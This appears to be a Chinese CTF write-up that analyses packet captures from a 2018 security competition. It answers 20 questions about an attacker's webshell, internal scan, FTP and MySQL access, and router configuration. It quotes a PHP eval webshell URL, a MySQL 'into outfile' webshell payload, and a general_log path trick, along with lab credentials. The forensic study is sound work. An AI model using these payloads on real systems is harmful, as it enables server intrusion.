百度360必应搜狗淘宝本站头条
mqtt服务器xftp6mybatiscollectionkeyerrorc#var
当前位置：网站首页 > 热门文章 > 正文

2018.5.18信息安全铁人三项赛数据赛题解

bigegpt 2024-08-12 14:10 3 浏览

目录

题目描述

第一个数据包

第三个数据包

第四个数据包

路由器hacking

后记

题目描述

1.黑客的IP是多少

2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)

3.服务器拿到的webshell的网址(请输入url解码后的网址)

4.服务器1.99的主机名

5.网站根目录的绝对路径(注意最后加斜杠)

6.黑客上传的第一个文件名称是什么

7.黑客进行内网扫描，扫描的端口都有哪些(端口从小到大，用英文逗号分隔)

8.服务器2.88的ftp服务账号密码(格式：账号/密码)

9.黑客成功登陆ftp的时间(格式：10:15:36)

10.黑客在ftp中下载的敏感文件名称是什么

11.服务器2.88中用户名为admin_zz的web后台管理员的密码

12.服务器2.88的mysql账号密码(格式：账号/密码)

13.服务器2.88的mysql服务中有和admin有关的三个表，请按照黑客的查询顺序作答，使用空格分隔

14.请列出黑客设置的genreallog的绝对路径(将路径复制出来，区分大小写)

15.路由器的品牌、型号、版本(请直接复制粘贴)

16.列出路由器的所有IP地址(格式：从小到大，用英文逗号分隔)

17.在路由器的端口监控中，监控端口和被监控端口分别是多少，例，1号端口监控2/3/4号端口:1-->2,3,4

18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)

19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例:255 255.255.0则为24(格式:用英文逗号分隔)

20.路由器的5Gwif名称是什么，信道是多少(格式:名称信道)

题目文件：

链接:https://pan.baidu.com/s/1DKTlpELe4WSBvkb2pU7vQQ

密码:shna

第一个数据包

上来先过滤http流量，随意浏览

可以发现202.1.1.2执行了phpinfo()命令

无疑是黑客ip，而192.168.1.99显然就是受害者了

我们进一步利用这一特点，进行过滤

(ip.addr== 202.1.1.2 || ip.addr == 192.168.1.99) && http

为确定服务器使用的CMS和版本号，我们抽取一个192.168.1.99的响应，看看前端响应里会不会包含

随意跟踪一个ip.src==192.168.1.99的http响应

我们定位到Poweredby

不难发现

版本号和CMS一目了然

EasyTalkX2.0.1

同时利用

(ip.addr== 202.1.1.2 || ip.addr == 192.168.1.99) && http

过滤不难看出有如下url

解码后得到

http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}

即可利用的webshell

随后想起有phpinfo，即可以泄露大量服务器信息，我们去拷贝下响应的html源码

保存到本地，打开即可看到许多信息

服务器1.99的主机名和网站根目录的绝对路径一目了然

答案分别为

simplefight1

/var/www/html/easytalk

接着既然要找出上传文件，于是使用过滤

ip.addr== 202.1.1.2 && http.request.method == POST

不然找到如下信息

解码z1查看文件名

/var/www/html/easytalk/scan.php

发现为scan.php

顾名思义，扫描，于是我们过滤这个文件，查看黑客的扫描

ip.addr== 202.1.1.2 && http contains "scan.php"

问题一目了然

可见起始ip:192.168.0.1

结束ip:192.168.3.255

扫描端口:21,80,8080,1433,3306

至此我们归纳一下答案

1.黑客的IP是多少

202.1.1.2

2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)

EasyTalkX2.0.1

3.服务器拿到的webshell的网址(请输入url解码后的网址)

http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}

4.服务器1.99的主机名

simplefight1

5.网站根目录的绝对路径(注意最后加斜杠)

/var/www/html/easytalk

6.黑客上传的第一个文件名称是什么

scan.php

7.黑客进行内网扫描，扫描的端口都有哪些(端口从小到大，用英文逗号分隔)

21,80,8080,1433,3306

第二个数据包

既然要找ftp的账号密码，肯定是利用之前打下的机子作为跳板，进一步攻击内网

那么此时我们只需要过滤

ip.src== 192.168.1.99 && ftp

即可查看所有登录信息

选中最后一项

不难看出账户密码为:`administrator:123456`

然后再过滤

ip.addr== 192.168.1.99 && ftp

找到对应密码为123456登录的消息

可以看到登录时间

14:07:15

可以发现黑客在第二个数据包里只进行了操作

CWD改变工作目录

PWD打印工作目录，返回主机的当前目录

PASV进入被动模式

LIST如果指定了文件或目录，返回其信息；否则返回当前工作目录的信息

而下载命令为

RETR传输文件副本

所以我们切换到第三个数据包中

第三个数据包

我们根据之前的分析，使用命令

ip.src== 192.168.1.99 && ftp contains "RETR"

即可一目了然

下载文件名为

/phpStudy/WWW/config/config_db.php

我们跟进查看一下，毕竟是重要配置文件

ip.addr== 192.168.1.99 && ftp-data

可以得到配置

php

<?php

/*

con_db_host= "localhost"

con_db_id = "root"

con_db_pass="S1mp13zz"

con_db_name= "met"

tablepre = "met_"

db_charset = "utf8";

*/

?>

即mysql账号密码:`localhost/S1mp13zz`

下面我们去寻找admin_zz的密码

ip.addr== 192.168.1.99 && http contains "admin_zz"

答案同样一目了然

密码为`1q2w3e4r`

然后需要我们查找admin相关的表，但是我们知道，表前缀为:`met_`

所以我们可以过滤

ip.addr== 192.168.1.99 && mysql contains "met_"

结果依旧显然，正好3个查询，3个有关管理员的表也出现了

select* from met_admin_array

select* from met_admin_column

select* from met_admin_table

即

met_admin_array,met_admin_column,met_admin_table

我们来总结一下这个阶段的答案

8.服务器2.88的ftp服务账号密码(格式：账号/密码)

administrator:123456

9.黑客成功登陆ftp的时间(格式：10:15:36)

14:07:15

10.黑客在ftp中下载的敏感文件名称是什么

config_db.php

11.服务器2.88中用户名为admin_zz的web后台管理员的密码

1q2w3e4r

12.服务器2.88的mysql账号密码(格式：账号/密码)

localhost/S1mp13zz

13.服务器2.88的mysql服务中有和admin有关的三个表，请按照黑客的查询顺序作答，使用空格分隔

met_admin_arraymet_admin_column met_admin_table

第四个数据包

我们直接过滤

ip.addr== 192.168.1.99 && mysql

不难发现，黑客想在192.168.2.88的机器上留shell

select'<?php eval($_POST[a]);?>' into outfile'c:/phpStudy/WWW/aaa.php'

但是返回了错误

TheMySQL server is running with the --secure-file-priv option so itcannot execute this statement

于是黑客进行了一系列的更改

在后续的一条操作中，可以明显看到

setglobal general_log_file='c:/phpStudy/WWW/config/config.php'

路径为

c:/phpStudy/WWW/config/config.php

同时可以确定192.168.2.88为一台windows

路由器hacking

剩下的5个题均为路由器的题，这就很难受了，之前一直很少接触路由器的流量分析

后来转念一想，路由器一般都是192.168.0.1吧

于是我查了一下这个ip

ip.addr== 192.168.0.1 && http

发现的确是有web服务的

我们进行查找

很快，在第一个返回200的包里就找到了答案

{"id":1, "result":{ "locale":"zh_CN","force":false, "radio":2, "model":"TL-WAR1300Lv1.0" }, "error_code":"0" }

答案为

TL-WAR1300Lv1.0

我们系统的看一下这些流量，不难发现，黑客先进行了密码爆破

而之前的登录error_code均为700

可见最后黑客成功登入

然后黑客进行了read选项

才有了如上的版本信息

然后我们看到黑客进行了如下操作

然后得到回显

{

"id":1,

"result": {

"normal": [{

"py_isup": false,

"ipaddr": "",

"t_type":"ethernet",

"t_isup":"disconnect",

"t_name": "WAN1",

"t_linktype": "dhcp"

},{

"py_isup": false,

"ipaddr": "",

"t_type":"ethernet",

"t_isup":"disconnect",

"t_name": "WAN2",

"t_linktype": "dhcp"

},{

"py_isup": false,

"ipaddr": "",

"dhcp_status": "on",

"t_type":"ethernet",

"t_name": "LAN1",

"t_isup":"disconnect",

"t_linktype":"static"

},{

"py_isup": false,

"ipaddr": "",

"dhcp_status": "on",

"t_type":"ethernet",

"t_name": "LAN2",

"t_isup":"disconnect",

"t_linktype":"static"

},{

"py_isup": false,

"ipaddr": "",

"dhcp_status": "on",

"t_type":"ethernet",

"t_name": "LAN3",

"t_isup":"disconnect",

"t_linktype":"static"

}]

},

"error_code": "0"

}

目前2个wan和2个LAN都是关闭状态，`py_isup`清晰可见

接着后面又出现了一个类似的内容

{

"id":1,

"result":{

"normal":[

{

"py_isup":true,

"ipaddr":"202.1.1.1",

"t_type":"ethernet",

"t_isup":"connect",

"t_name":"WAN1",

"t_linktype":"static"

},

{

"py_isup":true,

"ipaddr":"192.168.12.173",

"t_type":"ethernet",

"t_isup":"internet",

"t_name":"WAN2",

"t_linktype":"dhcp"

},

{

"py_isup":true,

"ipaddr":"192.168.0.1",

"dhcp_status":"on",

"t_type":"ethernet",

"t_name":"LAN1",

"t_isup":"connect",

"t_linktype":"static"

},

{

"py_isup":true,

"ipaddr":"192.168.0.1",

"dhcp_status":"on",

"t_type":"ethernet",

"t_name":"LAN2",

"t_isup":"connect",

"t_linktype":"static"

},

{

"py_isup":false,

"ipaddr":"192.168.0.1",

"dhcp_status":"on",

"t_type":"ethernet",

"t_name":"LAN3",

"t_isup":"disconnect",

"t_linktype":"static"

}

]

},

"error_code":"0"

}

此时可以发现一共有5个接口，其中WAN1、WAN2、LAN1、LAN2均被打开

并且ip为：

202.1.1.1

192.168.12.173

192.168.0.1

故此16,18题均被解答

然后是子网掩码的问题，这里我选择搜索网关相关内容

ip.addr== 192.168.0.1 && http contains "gateway"

然后可以发现如下数据

{

"id":1,

"result":[

{

"metric":"0",

"gateway":"192.168.12.254",

"mask":"0.0.0.0",

"dest":"0.0.0.0",

"interface":"WAN2"

},

{

"metric":"0",

"gateway":"0.0.0.0",

"mask":"255.0.0.0",

"dest":"127.0.0.0",

"interface":"lo"

},

{

"metric":"0",

"gateway":"0.0.0.0",

"mask":"255.255.252.0",

"dest":"192.168.0.0",

"interface":"LAN"

},

{

"metric":"0",

"gateway":"0.0.0.0",

"mask":"255.255.255.0",

"dest":"192.168.12.0",

"interface":"WAN2"

},

{

"metric":"0",

"gateway":"0.0.0.0",

"mask":"255.255.255.0",

"dest":"202.1.1.0",

"interface":"WAN1"

}

],

"error_code":"0"

}

所以一共有5条，第三条为

{

"metric":"0",

"gateway":"0.0.0.0",

"mask":"255.255.252.0",

"dest":"192.168.0.0",

"interface":"LAN"

}

子网掩码为`255.255.252.0`

至此19题完结

然后最后问到信道，于是我的过滤为

ip.addr== 192.168.0.1 && http contains "channel"

得到数据

{

"id":1,

"result":{

"1":{

"mssid":[

"test-ge1"

],

"wds":"off",

"channel":36,

"mode":"11anacmixed",

"radio_enable":"on",

"amount":0,

"frequency":"5G"

},

"0":{

"mssid":[

"test-ge1"

],

"wds":"off",

"channel":1,

"mode":"11bgnmixed",

"radio_enable":"on",

"amount":1,

"frequency":"2.4G"

},

"2":{

"mssid":[

"TP-LINK_GUEST_6258"

],

"amount":0,

"mode":"11bgnmixed",

"radio_enable":"off",

"frequency":"visitor"

}

},

"error_code":"0"

}

重点为

"1":{

"mssid":[

"test-ge1"

],

"wds":"off",

"channel":36,

"mode":"11anacmixed",

"radio_enable":"on",

"amount":0,

"frequency":"5G"

}

可以清晰看到，名称为`test-ge1`，信道为36

然后是最最蛇皮的17问：在路由器的端口监控中，监控端口和被监控端口分别是多少，例，1号端口监控2/3/4号端口:1-->2,3,4

这个我可以说相当薄弱了，并不是很懂，但是其中提及端口，于是我的关键词为

ip.addr== 192.168.0.1 && http contains "port"

数据并不是很多，看到最后有

{"id":1, "result":{ "state":"on","mode":"both", "mirroredports":[ "1","2" ], "mirrorport":"3" },"error_code":"0" }

可以断定答案为

3-->1,2

最后阶段归纳一下答案

14.请列出黑客设置的genreallog的绝对路径(将路径复制出来，区分大小写)

c:/phpStudy/WWW/config/config.php

15.路由器的品牌、型号、版本(请直接复制粘贴)

TL-WAR1300Lv1.0

16.列出路由器的所有IP地址(格式：从小到大，用英文逗号分隔)

192.168.0.1,192.168.12.173,202.1.1.1

17.在路由器的端口监控中，监控端口和被监控端口分别是多少，例，1号端口监控2/3/4号端口:1-->2,3,4

3-->1,2

18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)

5,2,2

19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例:255 255.255.0则为24(格式:用英文逗号分隔)

5,255.255.252.0

20.路由器的5Gwif名称是什么，信道是多少(格式:名称信道)

test-ge136

后记

最后完整答案为：

1.黑客的IP是多少

202.1.1.2

2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)

EasyTalkX2.0.1

3.服务器拿到的webshell的网址(请输入url解码后的网址)

http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}

4.服务器1.99的主机名

simplefight1

5.网站根目录的绝对路径(注意最后加斜杠)

/var/www/html/easytalk

6.黑客上传的第一个文件名称是什么

scan.php

7.黑客进行内网扫描，扫描的端口都有哪些(端口从小到大，用英文逗号分隔)

21,80,8080,1433,3306

8.服务器2.88的ftp服务账号密码(格式：账号/密码)

administrator:123456

9.黑客成功登陆ftp的时间(格式：10:15:36)

14:07:15

10.黑客在ftp中下载的敏感文件名称是什么

config_db.php

11.服务器2.88中用户名为admin_zz的web后台管理员的密码

1q2w3e4r

12.服务器2.88的mysql账号密码(格式：账号/密码)

localhost/S1mp13zz

13.服务器2.88的mysql服务中有和admin有关的三个表，请按照黑客的查询顺序作答，使用空格分隔

met_admin_arraymet_admin_column met_admin_table

14.请列出黑客设置的genreallog的绝对路径(将路径复制出来，区分大小写)

c:/phpStudy/WWW/config/config.php

15.路由器的品牌、型号、版本(请直接复制粘贴)

TL-WAR1300Lv1.0

16.列出路由器的所有IP地址(格式：从小到大，用英文逗号分隔)

192.168.0.1,192.168.12.173,202.1.1.1

17.在路由器的端口监控中，监控端口和被监控端口分别是多少，例，1号端口监控2/3/4号端口:1-->2,3,4

3-->1,2

18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)

5,2,2

19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例:255 255.255.0则为24(格式:用英文逗号分隔)

5,255.255.252.0

20.路由器的5Gwif名称是什么，信道是多少(格式:名称信道)

test-ge136

没想到最后竟然突然来了个路由器hacking，完全摸不到边，纯靠题目转英文进行过滤……

最蛇皮的是最后2个包都没用到，希望可以加强自身各种类型的流量分析的能力吧==

注：本文为合天智汇原创，未经允许，严禁转载！

相关推荐

为3D手游打造， Visual Studio Unity扩展下载

IT之家（www.ithome.com）：为3D手游打造，VisualStudioUnity扩展下载7月30日消息，微软正式发布升级版VisualStudioToolsforUnity扩...

由ArcMap属性字段自增引出字段计算器使用Python的技巧

1.前言前些日子有人问我ArcMap中要让某个字段的值实现自增有什么方法？我首先想到像SQLServer中对于数值型字段可以设置自增。所以我打开ArcCatalog查看发现只提供默认值，没办法只能看...

微软首次回答 HoloLens 相关问题，终于爆料了

fengo2015/04/2115:11注：本文作者张静是NVIDIAGPU架构师，微信公众号“黑客与画家”（HackerAndPainter），知乎专栏地址。欢迎各位童鞋与他交流探讨。...

C#指针的应用（c#指针类型）

C#在有限的范围内支持指针。C#的指针只不过是一个持有另一类型内存地址的变量。但是在C#中，指针只能被声明为持有值类型和数组的内存地址。与引用类型不同，指针类型不被默认的垃圾收集机制所跟踪。出于同...

C# 堆栈(Stack)（c# 堆栈中定位调用messagebox 的地方）

C#集合在C#中，堆栈（Stack）是一种后进先出（LIFO,LastInFirstOut）的数据结构。堆栈（Stack）适用于存储和按顺序处理数据，其中最新添加的元素会最先被移除。堆...

欢迎回来:Fortran意外重回流行编程语言20强榜单

TIOBE指数是用来确定一种编程语言受欢迎程度的指标之一。它并不表明哪种编程语言是最好的，也不表明哪种编程语言写的代码行数最多，而是利用在谷歌、维基百科、必应、亚马逊、YouTube等各种引擎和网站上...

C#+NET MAUI实现跨平台/终端(linux,win,ios等)解决方案

简介.NETMulti-platformAppUI(.NETMAUI)是一个跨平台的框架，用于使用C#和XAML创建移动和桌面应用程序。使用.NETMAUI，您可以用一套代码库开发可以在A...

C#代码安全红线:SQL注入防护终极方案，让你的系统固若金汤

在数字化时代，应用系统的安全性至关重要。而SQL注入攻击，长期盘踞在OWASP（OpenWebApplicationSecurityProject）漏洞榜单的前列，成为众多基于数据库的应用系统...

C# (一)状态机模式（状态机代码实现）

最近空闲，炒炒隔夜饭，以前这些模式在自己项目种应用过不少，但一直没有像别人那样写一个系列，最近年纪大了，很多东西都忘记了，特别AI的兴起，更少写代码了，反正没什么事情，自己在重写一遍吧。创建型模式（5...

C# 中 Predicate 详解（c#中的replace）

Predicate泛型委托：表示定义一组条件并确定指定对象是否符合这些条件的方法。此委托由Array和List类的几种方法使用，用于在集合中搜索元素。Predicate<T>...

C#中$的用法?（c#中&&什么意思）

文章来自AI问答。在C#中，$符号用于字符串插值（StringInterpolation）。字符串插值是C#6.0引入的一种特性，它允许你在字符串中直接嵌入表达式，而不需要使用string.For...

C#并行编程:Parallel类（c# 并行处理）

在Parallel类中提供了三个静态方法作为结构化并行的基本形式：Parallel.Invoke方法：并行执行一组委托。Parallel.For方法：执行与C#for循环等价的并行方法。Parall...

颠覆认知!用Span重构foreach循环竟让数据处理快如闪电

在C#编程的世界里，数据处理效率始终是开发者们关注的焦点。随着项目规模的扩大和数据量的激增，哪怕是细微的性能提升，都可能对整个应用的响应速度和用户体验产生深远影响。近年来，C#引入的Span<T...

Unity3D手游开发实践《腾讯桌球》客户端开发经验总结

本次分享总结，起源于腾讯桌球项目，但是不仅仅限于项目本身。虽然基于Unity3D，很多东西同样适用于Cocos。本文从以下10大点进行阐述：1.架构设计2.原生插件/平台交互3.版本与补丁4.用脚本，...

.NET 7 AOT 的使用以及 .NET 与 Go 互相调用

目录背景C#部分环境要求创建一个控制台项目体验AOT编译C#调用库函数减少体积C#导出函数C#调用C#生成的AOTGolang部分安装GCCGolang导出函数.NETC#...

一周热门
最近发表
标签列表